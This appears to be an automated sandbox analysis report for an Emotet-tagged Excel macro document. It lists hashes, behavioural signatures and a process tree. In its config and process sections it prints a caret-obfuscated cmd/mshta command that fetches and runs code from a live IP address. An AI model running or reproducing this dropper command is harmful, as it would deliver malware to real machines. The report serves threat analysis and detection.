Overview

overview

10

Static

static

8

emotet_v6

windows10_x64

10

emotet_doc

windows10_x64

10

Analysis

  • max time kernel
    151s
  • max time network
    141s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    19-01-2022 05:10

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General

  • Target

    9460b2bb8ba2fb292c897532ce1f2671a383bed1194dd3aef7c2027fd427c09f.xlsm

  • Size

    112KB

  • MD5

    057ac3d7afc46c01053528d3e29732bb

  • SHA1

    434ff7170ef46b776dc755a36e730b241c0e9aab

  • SHA256

    9460b2bb8ba2fb292c897532ce1f2671a383bed1194dd3aef7c2027fd427c09f

  • SHA512

    cf6d05c347cc4a8b9317b004720cff9abc31ec9dd690cb4cb676bf9ae79c9b53f275fadea94f8d481be969e6cb2749ce32d0366e0d14e4cc144e2797b9f6aefc

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://92.255.57.195/ru/ru.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 20 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\9460b2bb8ba2fb292c897532ce1f2671a383bed1194dd3aef7c2027fd427c09f.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1924
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/92.255.57.195/ru/ru.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3144
      • C:\Windows\system32\mshta.exe
        mshta http://92.255.57.195/ru/ru.html
        3⤵
        • Blocklisted process makes network request
        PID:2988

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/1924-117-0x00007FFCB13B0000-0x00007FFCB13C0000-memory.dmp

    Filesize

    64KB

    Download

  • memory/1924-118-0x00007FFCB13B0000-0x00007FFCB13C0000-memory.dmp

    Filesize

    64KB

    Download

  • memory/1924-119-0x00007FFCB13B0000-0x00007FFCB13C0000-memory.dmp

    Filesize

    64KB

    Download

  • memory/1924-120-0x00007FFCB13B0000-0x00007FFCB13C0000-memory.dmp

    Filesize

    64KB

    Download

  • memory/1924-123-0x00007FFCB13B0000-0x00007FFCB13C0000-memory.dmp

    Filesize

    64KB

    Download

  • memory/1924-130-0x00007FFCAD840000-0x00007FFCAD850000-memory.dmp

    Filesize

    64KB

    Download

  • memory/1924-131-0x00007FFCAD840000-0x00007FFCAD850000-memory.dmp

    Filesize

    64KB

    Download